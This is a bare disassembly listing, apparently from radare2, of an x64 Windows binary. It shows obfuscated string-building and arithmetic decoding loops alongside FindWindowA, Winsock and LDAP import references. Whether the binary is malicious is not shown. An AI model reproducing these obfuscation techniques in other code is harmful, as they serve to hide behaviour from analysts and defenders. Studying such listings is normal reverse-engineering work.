add dl, cl
movzx eax, byte [rbp + rbx + 0x180]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bc1b3
add r10b, 0x48
movzx eax, r10b
and al, r11b
mov ecx, 4
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400bc1b0
sub r10b, 8
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_30
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400bc1a0
lea rdx, [rbp + 0x146e660]
jmp 0x1400bcbd2
lea rdx, [rbp + 0x1603e08]
jmp 0x1400bcbd2
lea rdx, [rbp + 0x180]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
mov qword [0x14023ca58], rax
call fcn.1400a3100
mov rcx, qword [0x14023cad8]
call fcn.14005db10
test al, al
jne 0x1400bd8e9
mov byte [rbp + 0x310], 6
mov byte [rbp + 0x311], Ordinal_45
mov byte [rbp + 0x312], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + 0x313], 0x3f
mov byte [rbp + 0x314], Ordinal_41
mov byte [rbp + 0x315], Ordinal_41
mov byte [rbp + 0x316], 0x76
mov byte [rbp + 0x317], Ordinal_45
mov byte [rbp + 0x318], Ordinal_45
mov byte [rbp + 0x319], 0x75
mov byte [rbp + 0x31a], Ordinal_60
mov byte [rbp + 0x31b], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x31c], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x31d], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x31e], gethostname
mov byte [rbp + 0x31f], 0x3e
mov byte [rbp + 0x320], Ordinal_45
mov byte [rbp + 0x321], gethostname
mov byte [rbp + 0x322], 0xdc
mov byte [rbp + 0x323], gethostname
mov byte [rbp + 0x324], 0x78
mov byte [rbp + 0x325], Ordinal_45
mov byte [rbp + 0x326], recv
mov byte [rbp + 0x327], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x328], 8
mov byte [rbp + 0x329], 8
mov byte [rbp + 0x32a], Ordinal_30
mov byte [rbp + 0x32b], 0x75
mov byte [rbp + 0x32c], 0x60
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x32d], xmm0
mov dword [rbp + 0x33d], eax
mov word [rbp + 0x341], ax
movabs r14, 0x80ba476c640c7ca
movabs r12, 0x38517f3f6bc57686
movabs r15, 0x1822ed6452c2575e
movzx ebx, byte [rsp + 0x30]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
mov rdi, r13
cmp rdi, 0x33
jae 0x1400bd8d1
movzx r10d, byte [rbp + rdi + 0x310]
mov esi, r10d
nop dword [rax]
cmp r8, rdi
ja 0x1400bd8b9
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400bcd5c
lea rcx, [rdi + r14]
movzx eax, sil
and al, cl
mov ebx, 0x3d
sub bl, al
add bl, bl
add bl, cl
add bl, r10b
jmp 0x1400bcd96
je 0x1400bd834
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400bd7a9
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400bd776
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400bd734
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400bd70e
movzx r11d, dil
nop word [rax + rax]
cmp r9, rdi
ja 0x1400bd8a1
lea rax, [r9 + 6]
cmp r8, rax
jae 0x1400bcdcd
lea edx, [r11 - 0x6e]
movzx eax, dl
and al, r10b
mov ecx, 1
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x1400bce20
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400bd6c8
inc rax
cmp r8, rax
je 0x1400bd6a6
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400bd68a
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400bd66e
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400bd652
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400bd625
nop word [rax + rax]
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x1400bd3a4
nop dword [rax]
lea rcx, [r9 + 4]
cmp r8, rcx
je 0x1400bd388
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400bd35f
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400bd339
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400bd31b
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400bd2fb
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400bd2db
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400bd2bd
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400bd29d
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400bd26c
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400bce30
mov r8, rcx
lea r9, [rcx + 0x3e8]
lea rax, [r9 + 8]
cmp rcx, rax
jb 0x1400bd881
lea rax, [r9 + 0x10]
cmp rcx, rax
jb 0x1400bd861
lea rax, [r9 + 0x40]
cmp rcx, rax
jb 0x1400bd018
lea rax, [r9 + 0x80]
cmp rcx, rax
jb 0x1400bcffa
lea rax, [r9 + 0x400]
cmp rcx, rax
jb 0x1400bcfdc
lea rax, [r9 + 0x7a]
cmp rcx, rax
jb 0x1400bd21d
lea rax, [r9 + 0x2a]
cmp rcx, rax
jb 0x1400bd1dc
lea rax, [r9 + 3]
cmp rcx, rax
jb 0x1400bd19a
lea rax, [r9 + 6]
cmp rcx, rax
jb 0x1400bd170
lea rax, [r9 + 0xa]
cmp rcx, rax
jb 0x1400bce30
lea r8, [r9 + 0x41]
lea r9, [r8 + 0x28]
lea rcx, [r9 + 1]
cmp r8, rcx
ja 0x1400bd13f
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400bd11f
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400bd101
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400bd0e1
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400bd0c1
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400bd0a3
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400bd07d
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400bd054
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400bd038
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400bce30
mov r8, rcx
lea r9, [rcx + 0x64]
jmp 0x1400bce30
lea edx, [r11 - 0x52]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x1400bce20
lea edx, [r11 + 0x1a]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x1400bcda0
sub r11b, 0x7a
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
jmp 0x1400bcd30
lea edx, [r11 - 0x70]
movzx eax, r10b
and al, dl
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
jmp 0x1400bd6dd
sub r11b, 4
movzx eax, r10b
and al, r11b
mov ecx, recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
inc r9
dec rdi
inc rdi
jmp 0x1400bcd13
add r11b, 0x68
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
dec rdi
inc rdi
jmp 0x1400bcd13
lea edx, [r11 - 0x2c]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400bd751
add r11b, 0x40
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400bd78e
sub r11b, 0x54
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400bd791
lea edx, [r11 + 0x18]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400bd7c4
sub r11b, 0x7c
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400bd7f0
sub r11b, 0x10
movzx eax, r10b
and al, r11b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
movzx eax, byte [rbp + rdi + 0x310]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400bcd13
sub r11b, 2
movzx eax, r10b
and al, r11b
mov ecx, 7
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
mov byte [rbp + rdi + 0x310], bl
inc rdi
jmp 0x1400bcd13
lea edx, [r11 + 0x6a]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
cmp r9, 0x200
jb 0x1400bd18b
lea edx, [r11 + 0x7c]
movzx eax, r10b
and al, dl
mov ecx, recv
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x1400bd6df
lea edx, [r11 - 0x2a]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
cmp r8, 0x42
jae 0x1400bd5f5
lea rax, [r9 + 3]
cmp r8, rax
jbe 0x1400bd520
lea edx, [r11 - 0x4c]
movzx eax, r10b
and al, dl
mov ecx, 0xa
jmp 0x1400bd1a9
lea edx, [r11 + 0x42]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
lea rax, [r8 + r9]
cmp rax, 0x20
je 0x1400bd60f
lea rax, [r9 + 0x2a]
cmp r8, rax
jbe 0x1400bd483
lea edx, [r11 + 0x22]
movzx eax, r10b
and al, dl
mov ecx, 9
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400bd1f5
add r11b, 0x6c
movzx eax, r10b
and al, r11b
mov ecx, 6
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
movzx eax, byte [rbp + rdi + 0x310]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400bcd13
sub r11b, 0x28
movzx eax, r10b
and al, r11b
mov ecx, recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400bd7f0
lea edx, [r11 + 0x44]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400bd7c4
sub r11b, 0x50
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400bd791
add r11b, 0x1c
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400bd78e
lea edx, [r11 - 0x78]
movzx eax, r10b
and al, dl
mov ecx, 0x24
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400bd751
sub r11b, 0xc
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
dec rdi
inc rdi
jmp 0x1400bcd13
add r11b, 0x60
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
inc r9
dec rdi
inc rdi
jmp 0x1400bcd13
lea edx, [r11 - 0x34]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
jmp 0x1400bd6dd
lea rax, [r9 + 0x1000]
cmp r8, rax
jae 0x1400bd3ce
lea edx, [r11 - 0x36]
movzx eax, r10b
and al, dl
mov ecx, 0x3d
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400bd236
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bd408
add r11b, 0x24
movzx eax, r10b
and al, r11b
mov ecx, 2
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
movzx eax, byte [rbp + rdi + 0x310]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400bcd13
inc rax
cmp r8, rax
jne 0x1400bd42c
lea edx, [r11 + 0x4c]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x14
add bl, dl
jmp 0x1400bd7c4
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bd451
add r11b, 0x74
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x2c
jmp 0x1400bd78e
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400bd236
add r11b, 0x30
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x50
inc r9
dec rdi
inc rdi
jmp 0x1400bcd13
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bd4a8
lea edx, [r11 - 0x4a]
movzx eax, r10b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
jmp 0x1400bd6dd
inc rax
cmp r8, rax
jne 0x1400bd4d2
sub r11b, 0x22
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x12
dec rdi
inc rdi
jmp 0x1400bcd13
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bd4f7
sub r11b, 0x66
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x36
jmp 0x1400bd791
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400bd1f5
lea edx, [r11 + 0x2e]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x42
add bl, dl
jmp 0x1400bd7c4
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bd55a
add r11b, 0x48
movzx eax, r10b
and al, r11b
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
movzx eax, byte [rbp + rdi + 0x310]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400bcd13
inc rax
cmp r8, rax
jne 0x1400bd57e
lea edx, [r11 + 0x70]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x10
add bl, dl
jmp 0x1400bd7c4
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400bd5a3
lea edx, [r11 + 0x2c]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x34
add bl, dl
jmp 0x1400bd751
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400bd5ce
sub r11b, 0x40
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x40
dec rdi
inc rdi
jmp 0x1400bcd13
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400bd1b3
lea edx, [r11 - 0x18]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x58
jmp 0x1400bd6dd
lea edx, [r11 + 0x10]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x70
jmp 0x1400bd74c
lea ecx, [r11 - 0x5c]
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea ebx, [rcx - 0x7c]
jmp 0x1400bd7c4
sub r11b, 0x3a
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x6a
movzx eax, byte [rbp + rdi + 0x310]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400bcd13
lea edx, [r11 - 0x62]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x52
add bl, dl
jmp 0x1400bd7c4
add r11b, 0xa
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x46
jmp 0x1400bd791
add r11b, 0x76
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x3a
jmp 0x1400bd78e
add r11b, 0x4e
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x22
dec rdi
inc rdi
jmp 0x1400bcd13
lea edx, [r11 + 0x26]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0xa
add bl, dl
add r11b, 0x46
movzx eax, r11b
and al, r10b
mov ecx, listen
sub cl, al
add cl, cl
add cl, r11b
add cl, r10b
mov byte [rbp + rdi + 0x310], cl
inc r9
dec rdi
inc rdi
jmp 0x1400bcd13
lea edx, [rdi + 0x6a]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
inc r9
dec rdi
inc rdi
jmp 0x1400bcd13
movzx r11d, dil
lea edx, [r11 + 0x42]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
sub r11b, 0x26
movzx eax, r11b
and al, r10b
mov ecx, 5
sub cl, al
add cl, cl
add cl, r11b
add cl, bl
add cl, r10b
mov byte [rbp + rdi + 0x310], cl
jmp 0x1400bd78e
lea edx, [rdi - 0x52]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
add r8, r9
movzx eax, bl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400bcd13
lea rax, [rdi + r12]
and sil, al
mov ecx, Ordinal_45
sub cl, sil
lea ebx, [rcx + rcx]
add bl, al
add bl, r10b
movzx r11d, dil
add r11b, 0x6e
movzx eax, r10b
and al, r11b
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 2
add cl, r11b
movzx eax, cl
mov byte [rbp + rdi + 0x310], al
inc r9
add rax, r9
sub rdi, rax
lea edx, [rdi + 0x38]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + rdi + 0x310], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x310]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400bcd13
lea rax, [rdi + r15]
and sil, al
mov ecx, gethostname
sub cl, sil
lea ebx, [rcx + rcx]
add bl, al
add bl, r10b
movzx eax, byte [rbp + rdi + 0x310]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400bcd13
sub r11b, 0xe
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400bcd10
add r11b, 0x5e
movzx eax, r10b
and al, r11b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400bcd01
lea rdx, [rbp + 0x1463ec8]
mov rcx, qword [0x14023cdc8]
call fcn.1400c7f00
jmp 0x1400c45c6
lea rdx, [rbp + 0x1070692]
mov rcx, qword [0x14023cdc8]
call fcn.1400c7f00
jmp 0x1400c45c6
lea rdx, [rbp + 0x310]
mov rcx, qword [0x14023cdc8]
call fcn.1400c7f00
jmp 0x1400c45c6
lea rdx, [0x140236bb0]
lea rcx, [rbp + 0x60]
call fcn.140002660
mov rdi, rax
mov qword [rsp + 0x38], rax
mov r8, rax
lea rdx, [rbp - 0x70]
mov rcx, qword [0x14023cdc0]
call fcn.14006b920
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002800
lea rcx, [rbx + 0x30]
call fcn.14006abf0
movzx ecx, byte [rax]
mov byte [0x1402389c9], cl
lea rdx, [0x140236a70]
lea rcx, [rbp + 0x80]
call fcn.140002660
mov rbx, rax
mov qword [rsp + 0x38], rax
mov r8, rax
lea rdx, [rbp - 0x60]
mov rcx, qword [0x14023cdc0]
call fcn.14006b920
mov rdi, qword [rax]
mov rcx, rbx
call fcn.140002800
cmp byte [rdi + 0x38], 0
jne 0x1400c7eeb
mov eax, dword [rdi + 0x30]
mov dword [0x140236898], eax
lea rdx, [0x140236c50]
lea rcx, [rbp + 0xa0]
call fcn.140002660
mov rdi, rax
mov qword [rsp + 0x38], rax
mov r8, rax
lea rdx, [rbp - 0x50]
mov rcx, qword [0x14023cdc0]
call fcn.14006b920
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002800
lea rcx, [rbx + 0x30]
call fcn.14006abf0
movzx ecx, byte [rax]
mov byte [0x1402389ca], cl
mov byte [0x1402389cd], 1
mov byte [rbp + 0x620], Ordinal_41
mov byte [rbp + 0x621], Ordinal_50
mov byte [rbp + 0x622], gethostname
mov byte [rbp + 0x623], Ordinal_60
mov byte [rbp + 0x624], gethostname
mov byte [rbp + 0x625], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x626], 0x65
mov byte [rbp + 0x627], 0x64
mov byte [rbp + 0x628], Ordinal_45
mov byte [rbp + 0x629], gethostname
mov byte [rbp + 0x62a], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x62b], 0x61
mov byte [rbp + 0x62c], Ordinal_60
mov byte [rbp + 0x62d], gethostname
mov byte [rbp + 0x62e], Ordinal_35
mov byte [rbp + 0x62f], gethostname
mov byte [rbp + 0x630], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x631], gethostname
mov byte [rbp + 0x632], Ordinal_45
mov byte [rbp + 0x633], Ordinal_41
mov byte [rbp + 0x634], gethostname
mov byte [rbp + 0x635], Ordinal_45
mov byte [rbp + 0x636], 9
mov byte [rbp + 0x637], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x638], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0x639], Ordinal_30
mov byte [rbp + 0x63a], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x63b], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x63c], Ordinal_30
mov byte [rbp + 0x63d], 0x53
mov byte [rbp + 0x63e], 1
mov byte [rbp + 0x63f], Ordinal_30
mov byte [rbp + 0x640], Ordinal_30
mov byte [rbp + 0x641], 0x5e
mov byte [rbp + 0x642], recv
mov byte [rbp + 0x643], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0x644], reloc.WS2_32.dll_recv
mov byte [rbp + 0x645], 0
mov byte [rbp + 0x646], 4
mov byte [rbp + 0x647], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0x648], 8
mov byte [rbp + 0x649], Ordinal_30
mov byte [rbp + 0x64a], 0x41
mov byte [rbp + 0x64b], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x64c], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x64d], 0x41
mov byte [rbp + 0x64e], 0x44
mov byte [rbp + 0x64f], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x650], 0x45
mov byte [rbp + 0x651], Ordinal_30
mov byte [rbp + 0x652], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0x653], Ordinal_79
mov byte [rbp + 0x654], 0x46
mov byte [rbp + 0x655], Ordinal_30
mov byte [rbp + 0x656], 0xb8
mov byte [rbp + 0x657], 0xbb
mov byte [rbp + 0x658], 0xb1
mov byte [rbp + 0x659], 0xb9
mov byte [rbp + 0x65a], 0xbf
mov byte [rbp + 0x65b], 0xbd
mov byte [rbp + 0x65c], 0xbf
mov byte [rbp + 0x65d], 0xb4
mov byte [rbp + 0x65e], 0xb7
mov byte [rbp + 0x65f], 0xb5
mov byte [rbp + 0x660], 0xb7
mov byte [rbp + 0x661], 0xe0
mov byte [rbp + 0x662], 0xbf
mov byte [rbp + 0x663], 0xb1
mov byte [rbp + 0x664], 0xb6
mov byte [rbp + 0x665], 0xe5
mov byte [rbp + 0x666], 0xfb
mov byte [rbp + 0x667], 0xa8
mov byte [rbp + 0x668], 0xad
mov byte [rbp + 0x669], 0xac
mov byte [rbp + 0x66a], 0xfd
mov byte [rbp + 0x66b], 0xff
mov byte [rbp + 0x66c], 0xfd
mov byte [rbp + 0x66d], 0xa0
mov byte [rbp + 0x66e], 0xf2
mov byte [rbp + 0x66f], 0xac
mov byte [rbp + 0x670], 0xe9
mov byte [rbp + 0x671], 0xfc
mov byte [rbp + 0x672], 0xf3
mov byte [rbp + 0x673], 0xe9
mov byte [rbp + 0x674], 0xab
mov byte [rbp + 0x675], 0xeb
mov byte [rbp + 0x676], __WSAFDIsSet
mov byte [rbp + 0x677], 0xc9
mov byte [rbp + 0x678], __WSAFDIsSet
mov byte [rbp + 0x679], 0x9e
mov byte [rbp + 0x67a], 0x9b
mov byte [rbp + 0x67b], __WSAFDIsSet
mov byte [rbp + 0x67c], 0xca
mov byte [rbp + 0x67d], Ordinal_211
mov byte [rbp + 0x67e], 0x90
mov byte [rbp + 0x67f], 0x9a
mov byte [rbp + 0x680], 0x9d
mov byte [rbp + 0x681], Ordinal_200
mov byte [rbp + 0x682], __WSAFDIsSet
mov byte [rbp + 0x683], __WSAFDIsSet
mov byte [rbp + 0x684], 0x9d
mov byte [rbp + 0x685], __WSAFDIsSet
mov byte [rbp + 0x686], Ordinal_143
mov byte [rbp + 0x687], 0x86
mov byte [rbp + 0x688], Ordinal_143
mov byte [rbp + 0x689], 0x80
mov byte [rbp + 0x68a], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x68b], 0xde
mov byte [rbp + 0x68c], Ordinal_143
mov byte [rbp + 0x68d], Ordinal_143
mov byte [rbp + 0x68e], Ordinal_143
mov byte [rbp + 0x68f], 0x87
mov byte [rbp + 0x690], 0x80
mov byte [rbp + 0x691], Ordinal_211
mov byte [rbp + 0x692], 0x87
mov byte [rbp + 0x693], 0x80
mov byte [rbp + 0x694], 0x80
mov byte [rbp + 0x695], 0x87
mov byte [rbp + 0x696], 0xfd
mov byte [rbp + 0x697], 0xfb
mov byte [rbp + 0x698], 0xf5
mov byte [rbp + 0x699], 0xa8
mov byte [rbp + 0x69a], 0xf2
mov byte [rbp + 0x69b], Ordinal_200
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x69c], xmm0
mov dword [rbp + 0x6ac], eax
mov word [rbp + 0x6b0], ax
mov byte [rbp + 0x6b2], al
movabs r14, 0xc207d7c4ccda01ca
movabs r15, 0xd24695eb33aa101a
movabs r12, 0x4617874e668e055e
movzx r10d, byte [rsp + 0x30]
nop word [rax + rax]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
mov rdi, r13
cmp rdi, 0x93
jae 0x1400be886
movzx ebx, byte [rbp + rdi + 0x620]
mov esi, ebx
nop word [rax + rax]
cmp r8, rdi
ja 0x1400be87d
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400bdddc
lea rcx, [rdi + r14]
mov rax, rcx
and rax, rsi
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rsi
add r10b, 0x7a
jmp 0x1400bde08
je 0x1400be805
inc rax
cmp r8, rax
je 0x1400be7d3
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400be7af
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400be764
movzx r11d, dil
nop dword [rax]
cmp r9, rdi
ja 0x1400be874
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400bde3e
lea edx, [r11 - 0x6e]
movzx eax, dl
and al, bl
mov ecx, 1
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400bde70
je 0x1400be74d
inc rax
cmp r8, rax
je 0x1400be70e
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400be68d
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400be660
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400be404
nop dword [rax]
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400be3f6
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400be3cd
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400be3a7
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400be388
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400be365
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400be348
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400be329
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400be309
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400be2ec
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400bde80
lea r8, [r9 + 5]
lea r9, [r8 + 8]
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400be854
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400be834
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400be078
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400be059
